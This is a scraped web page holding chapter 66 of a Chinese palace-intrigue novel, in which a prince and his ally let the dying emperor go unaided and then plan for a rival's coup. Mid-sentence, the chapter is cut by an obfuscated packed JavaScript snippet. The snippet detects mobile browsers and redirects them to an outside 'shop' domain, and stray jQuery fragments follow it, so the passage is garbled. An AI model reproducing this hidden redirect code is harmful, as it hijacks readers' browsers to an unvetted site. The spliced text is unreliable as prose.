默认冷灰
24号文字
方正启体

66. 君亡

作者:金银汀本书字数:K更新时间:
    北面的宫门打开,黑马犹如一柄鬼头刀,刺穿了夜晚的皇宫。


    南面的宫门打开,一袭白衣犹如一柄剑,捅破了上京的安宁。


    皇帝寝殿的门一道道地打开,脚步声铛铛响,就像辽北战场的笳鼓声。


    皇帝赤着脚冲进正厅,却见萧沃一个滑跪飞到了自己面前。他手中是一份黄得发黑的羊皮卷,他双手托举它,举过头顶。


    皇帝心“咚咚咚”跳得厉害,他盯着羊皮卷,紧张得忘了呼吸。


    这就是力剌可汗交给萧沃的通敌名单。


    烛光跳动,“噼啪”作响,寝殿内时明时暗。皇帝缓缓抬起手,他试图抓起羊皮卷,刹那又因害怕而缩回手。


    父子之间的呼吸声清晰可闻,皇帝怔然盯着萧沃的眼睛,他吹着眼眸,睫毛藏住他眼底的情绪。


    皇帝感觉眼前越来越模糊,呼吸越来越困难,像被人扼住了喉咙。他再次抬起手,像不忍心解开一道陈年伤疤那样,迟疑地、犹犹豫豫地展开羊皮卷。


    他看见了他最不想看见的名字。


    “陛下!”


    殿外传来兰见春的呼喊,她双手举着浸血竹筒,快步冲进来。


    皇帝看见是她,先是吓了一大跳,可他还来不及想兰见春是怎么活下来的,他就拆开了竹筒。


    萧锦的遗书散落一地,密密麻麻写了那么多,归结为一个名字,就是“萧回”。


    “噗——”


    一股温烫的液体喷在了萧沃头发上、脸上、身上。他恐惧得闭上了眼睛,周身气流涌动,眼前的男人,像雪崩那样向下坍塌。


    羊皮卷也掉在了地上,兰见春的余光恰好可以看见上面的字,也可以归结为一个名字,就是“萧回”。


    兰见春、萧沃肩并肩跪在皇帝面前,他们听见了人倒在地上的声音,听见了人病态的呼吸声,听见了人孱弱的呼救。


    “荫……荫槐……救……救……”


    萧沃睁开了眼睛,看着地上的人,缄默。


    皇帝朝他伸出手,试图抓住他的衣角,目眦尽裂,甚至连眼球都在用力。


    萧沃站了起来,向后退了半步。他冷眼望着皇帝,忽视他的求救。


    皇帝从下方仰视萧沃,浑身都在抖。


    萧沃第一次从这个男人眼里看到眼泪和后悔。他袖手旁观,神情冷得一如过往的皇帝。


    ——是啊,父亲,我们怎么会不像呢?你在我母后濒死之际,不也如此旁观吗?


    皇帝转向兰见春,他伸出手,想扯兰见春的衣摆。而兰见春以膝盖为足,正面对着皇帝,却向身后退。


    “救……救救朕……”


    兰见春急促地呼吸着,她一边退,一边站起来。无论皇帝如何期待,如何呼救,她都装作看不见。


    如果不是皇帝,吴沟村、潼裕,就不会死那么多人;


    如果不是皇帝,乔竹心、吴泪、何白就不会死得那么惨烈;


    如果不是皇帝,萧沃与萧回就不会斗得头破血流,所有人,天下的所有人,就不会活得那么痛苦。


    兰见春冷眼望着皇帝,她不会施以援手。


    皇帝看着他们,不停地挥手,直到视野变灰、变黑,直到失去力气。他的手摔下来,但眼睛仍旧是瞪得浑圆,眼珠子像是要蹦出来似的。


    萧沃像被冻住似的僵在原地。


    兰见春则缓缓地踱过去,蹲下探了探皇帝的鼻息。


    “死了?”萧沃问。


    兰见春点了点头。


    “今天,我们都是反贼。”萧沃恐惧地说,“我们……杀了皇——”


    “殿下,”兰见春打断他,“这样的皇帝,不值得。”


    萧沃沉默,他的胸膛剧烈起伏,他不敢看皇帝的眼睛,浑身都在抖。


    “我杀了皇帝,我杀了我父亲……”萧沃抖得厉害,“我有罪,有罪……”


    兰见春抓住他的肩膀:“殿下,看着我。”


    萧沃仍瞪大了眼睛,他像惊弓之鸟,脸色变得惨白,整个人像没了骨头似的往下掉。兰见春一手把他捞了起来,稍微抬高了声音呼唤他:“荫槐!”


    萧沃转眸望着她的眼睛,呢喃道:“怎么办?他死了。”


    兰见春握住了他的手,坚定地望着他:“别怕。”


    萧沃哽咽道:“怎么办……”


    “陛下是旧疾复发,”兰见春沉声说,“而殿下将力剌重要情报递给了陛下,出了这样的事,谁都想不到。”


    萧沃抬眸看她,她目光如磐石,一如他们的初见。


    “陛下殡天,而殿下作为储君,继承大统名正言顺。”兰见春抓住了他,“立刻给所有阁臣报信。”


    萧沃一直点头。


    “不要说陛下殡天,要说陛下病重。”兰见春说,“传太医为陛下诊治,等阁臣到了,把我们的证据给他们一一看过,再宣告陛下殡天。”


    萧沃抖着点头。


    “今夜将有一场恶战。”兰见春说,“小温大人传信说,萧回的人已经进入上京,叶侯那边也都准备好了,就等他杀进皇宫。”


    从萧锦死后之日,萧回就着手把自己的人调回京。而兰见春以萧沃的名义联合了叶崇,这几日上京城墙的盘查故意松了半分,把萧回的人放进了城内。


    而今天,兰见春特地给温潜写密信,说今晚萧沃就会把力剌可汗的名单递给皇帝,要他与温如璋、海益等阁臣早做准备。与此同时,吴泪、何白、乔竹心启程去刘家峪学堂。


    按照计划,她与萧沃各带一份罪证,将同时呈给陛下。无论路上出现什么状况,都保证有其中一份递到皇帝面前。


    留给萧回的只有一条路——谋反。


    如果他选择谋反,那么叶崇会带着禁军火器营在金銮殿等他。如果他不选,兰见春和萧沃手里的证据足够将他绳之以法。


    萧回已经被逼到了绝境,而且没有胜算。


    “打起精神来。”兰见春用额头抵着萧沃的额头,他们都能听见彼此剧烈的心跳,“今天是我们的好日子。”


    她将萧沃揽在了怀里,望着窗外黑沉沉的夜,说:“天要亮了。”


    摧毁她和亲族人生的人,摧毁一切的人,死了。黎明将至,天光将至,这是大大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612937|183179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的好日子。


    怀中的人哽咽道:“我疼……我后悔。”


    “那不是后悔,也不是自责。”兰见春在他耳畔说,“而是伤口要好了。”


    —


    一个时辰后,屹王府。


    信鸽停在了赵照窗前,她起身拆信,却发现身边的萧回早已不知去向。她揉了揉眼,拆开了密信。


    “皇帝中风昏迷,太子急召内阁入宫。”


    一股电跑遍赵照全身,她来不及穿鞋裹披风,就匆匆推开了门,满目是黑压压的铠甲。


    萧回穿着铠甲,坐在她门口的台阶上抽烟枪。听见门响,他转过头,云淡风轻地说:“地上冷。”


    “殿下……”赵照环顾整个王府,到处他们的人。


    萧回吸了最后一口,之后借台阶磕净烟斗里剩下的烟草,把烟枪安安稳稳地放在台阶上。他站起来,缓缓登上台阶,站在赵照面前,像一堵墙。


    萧回双手捧住赵照的脸,忽然,他露出安宁的表情:“带上孩子,走吧。”


    赵照摇头:“我要和你一起。”


    “狗皇帝根本没杀乔竹心,”萧回说,“乔竹心的人拿到了萧锦的证据,我们的人没拦住,恐怕过一会,就该送至御前了。”


    赵照说:“我们怎么……怎么就这样了呢?”


    “狗皇帝从未有一刻信过我,”萧回讽刺地说,“他让我与萧沃相互折磨,相互憎恶,为的就是等到今日,我和他一决生死。”


    萧回眼前浮现起小时候皇帝抱着他去跑马的场景,在陈昀和朝臣面前,皇帝对自己是又疼又爱。可背过身去,只要自己犯一点小错,皇帝就会用极其嫌弃的眼神瞪着自己。


    其实父亲根本就不爱他,也不爱陈昀,皇帝爱的只有权势,所作所为都是为了皇权永固。


    萧回心说,这样的父亲,怎么现在才死呢?


    “殿下,还未到最后一刻,我们没有输。”赵照握住萧回的手,坚硬的铠甲有些硌手,“我要跟殿下在一起,我们是一家人,生死患难,一起面对。”


    萧回望着赵照满眼无奈:一家人抱在一起去死吗?我不想这样。


    萧回说:“走吧,孩子还小。”


    “成王败寇,愿赌服输。”赵照坚定地说,“如果今晚你赢了,我们陪殿下走上帝位。如果今晚你输了,我们也会陪殿下走到最后。”


    萧回端详她的眉眼:“还是走吧,逃吧,孩子那么小,不能为我所累。”


    “我们是一家人,不说这种话。”赵照揽过他的脖子,用额头抵着他的额头,静听两人如战鼓擂的心跳。


    萧回被她拉着,心里难受的很:我这辈子就这样了,难道也要孩子同我一样,连自己的生死都无法决定吗?带他走或许还有活的机会,留在这就得等着被失败的爹牵连。


    他心里想的那么多,其实一句都没说给赵照。他习惯于接受他人的意志,就像一块只会吸水的海绵。


    良久,赵照放开了萧回,轻声说:“为我穿战甲。”


    萧回看着她的眼睛,拇指拂过她眼尾的小痣,挤出来一个很难看很难看的笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)